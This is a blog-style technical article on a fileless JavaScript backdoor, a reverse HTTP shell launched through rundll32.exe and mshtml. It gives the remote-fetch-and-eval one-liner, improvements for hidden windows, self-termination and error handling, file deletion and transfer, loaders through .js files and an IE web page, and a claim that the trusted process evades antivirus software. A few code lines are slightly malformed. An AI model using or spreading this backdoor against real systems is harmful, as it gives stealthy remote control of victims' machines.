JavaScript Backdoor

Casey Smith recently shared his research on twitter, which is to reverse HTTP Shell by using JavaScript. I found it rather interesting and further analyzed this technique.

0x01 Introduction

Observing the above screenshot, we’ll learn how to use this technique. Use rundll32.exe to load the JavaScript code in cmd and a HTTP Shell is returned when the code is executed. The special part is that after running the cmd command, rundll32.exe will remain in the background to continuously connect to the Server. No file is written to the disk during the whole process, which significantly enhances stealth.

0x02 Testing Environment


OS:Win7 x64

OS:Win7 x86

Download Link:

0x03 Operational Test

1.Server launching service, listening port

Need to download the IP address in the script and change it to the IP of the current host

Run it with administrator permission.

2.Load JavaScript instructions by the Client

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","",false);h.Send();B=h.ResponseText;eval(B)

3.Reverse the Shell by the Server

Obtain the returned echo by executing cmd commands.

0x04 Bugs Appeared in the Test

1.Connection timeout

While the shell is returned successfully, if you wait for a while in the background, the Client will show a popup saying connection timed out.

As can be seen from the screenshot, Casey Smith noticed the timeout error as well. This problem is patched in the new version by adding a window.setTimeout to avoid the connection timeout error and timeout is determined in a message (The code used to connect to the Client later is stored in this message. The code is self-explanatory.), but this is still far from enough.

2.Process Residue

If the Server exists, the client would still reside in the rundll32.exe process.

3.A black box pops up as executing the cmd commands

When executing the immediately echoed cmd commands, a black box will flash by.

When executing a cmd command that requires waiting, such as systeminfo, a cmd box will repeatedly flash by until the execution is complete.

4..exe execution is blocked

In the case of executing the calc.exe, the server side will be blocked and won’t resume until the calc.exe process is killed.

As shown in the figure

5.Unable to delete files

As shown in the figure

6.The server side cannot properly exit

In order to quit the service side, the only option is to force close the current cmd.exe.

7.Unable to download or upload files

0x05 Optimized Strategies

1.The explanation for setTimeout

The article mentions how to implement WinHttpRequest using JavaScript, as shown in the figure:

setTimeout is used to set the timeout for HTTP. 0 represents no time-out, which means no time limits.


In the first version that Casey Smith published where this method is not patched, I followed the method proposed by Microsoft to solve this, that is to add h.SetTimeouts(0, 0, 0, 0) to the correspond code.

2.Add try-catch method to handle error message

Although Casey Smith has added timeout determination in the code, other possible unexpected errors are not covered. Therefore, the try-catch method is required to respond the error message.

The try-catch method cannot only solve the above Bug1, but can also be used to determine if the input command can be successful execute (for instance, put in wrong instructions or mistyped paths)

(The details can be found in the reference code at the end of this article.)

Here is the related data:

3.Use taskkill to solve process residue

The Client can use taskkill to kill its process and auto exit.

new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe")

4.Differences between the run method and the exec method



Casey Smith used the exec method to obtain the cmd command echo. Because only the exec method can return an object which is used to get the output and the error message from the console.

However, the run method will return an integer which is 0 or 1.

There are some drawbacks when using the exec method, for example, the bug3 and bug4 occurred in test cannot be solved by the exec method itself.

But, the bug4 can be fixed by using the run method.

For these reasons, the solution is to determine the input contents. If it’s cmd command, use the exec method. If it’s to execute an exe, use the run method.

5.Solve the black box popup when using the run method to execute commands


As shown in the figure

In fact, it’s ok to add some instructions in the run method to indicate if this window is visible.

So when executing a command, such as taskkill, it’s ok to use:

new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true)

Avoid the black box popup


“Note that not all programs make use of this information” mentioned in the explanation for the intWindowStyle parameter is one of the cases that cannot hide the window when using the run method to execute the cmd command that doesn’t require waiting, such as systeminfo.

6.How to execute systeminfo in a stealthy way and obtain the echo


When using the exec method, although the echo can be obtained, the black box popup cannot be moved by using window.moveTo(-1000,-1000).

However, when using the run method, the black box popup can be moved, but the echo cannot be obtained.

Given the two methods, we have to compromise and use the run method to input the echoed results into a file and then obtain the results by reading the file.

Here is the specific implementation:

(1) Use the run method to input the echoed results from systeminfo into file c\test\a.txt

Code example:

new ActiveXObject("WScript.Shell").Run("cmd /c systeminfo >>c\test\a.txt",0,true)

(2) Read the file and transfer it back

Code example:

fso1=new ActiveXObject("Scripting.FileSystemObject");

Call new ActiveXObject(“Scripting.FileSystemObject”) to read the returned echo contents and return it again.

(The details can be found in the reference section at the end of this article.)

7.Solve connection timeout

Through the above analysis, in order to solve connection timeout, it needs to add the following features to the commands executed by the Client:

  1. Capture error message
  2. Auto exit he process
  3. No black box popup during the whole process

So here is the optimized commands for the Client to execute:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1);h.Open("GET","",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

8.Properly quit the Server side

Add command determination. If input exit, then the Client will call taskkill to terminate itself and the Server will execute exit to quit.

(The details can be found in the reference code at the end of this article.)

9.Delete files

It’s implemented by calling new ActiveXObject("Scripting.FileSystemObject").

Code example:

fso1=new ActiveXObject("Scripting.FileSystemObject");
f =fso1.GetFile(d);

(The details can be found in the reference code at the end of this article.)

10.Download and upload files

Here is an example:

This code example can be used to download and upload files, however, it contains a minor bug that is not hard to fix if you spent some efforts.

0x06 Supplementary

1.Whitelist process immune to AV software

Since the code is call through runndll.exe, AV software will let it go and won’t block it.


The communication protocol used is HTTP. Any aggressive behavior can be observed by using firewall to block the traffic.

3.More loading methods

(1) JS file

Put it into a JS file and double click the JS to execute

h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im wscript.exe",0,true);

The process running in the background is wscript.exe.

(2) Try to hook a webpage

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
 <title> new document </title>
 <meta name="generator" content="editplus">
 <meta name="author" content="">
 <meta name="keywords" content="">
 <meta name="description" content="">
 <script language="javascript" type="text/javascript">
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");

When IE opens it, IE will ask for user permission to load the control. If yes, the shell can be reversed.

As neither Chrome nor Firefox supports ActiveXObject, this will not be triggered.

0x07 Summary

I improved the code of Casey Smith according to his research on JavaScript Backdoor. Thanks for his great generosity. Without his contribution, I couldn’t have finished this article.

I’ve uploaded my code to github. Here is the link:

I wish you could download and test it, and tell me what you think.

Here are the features supported: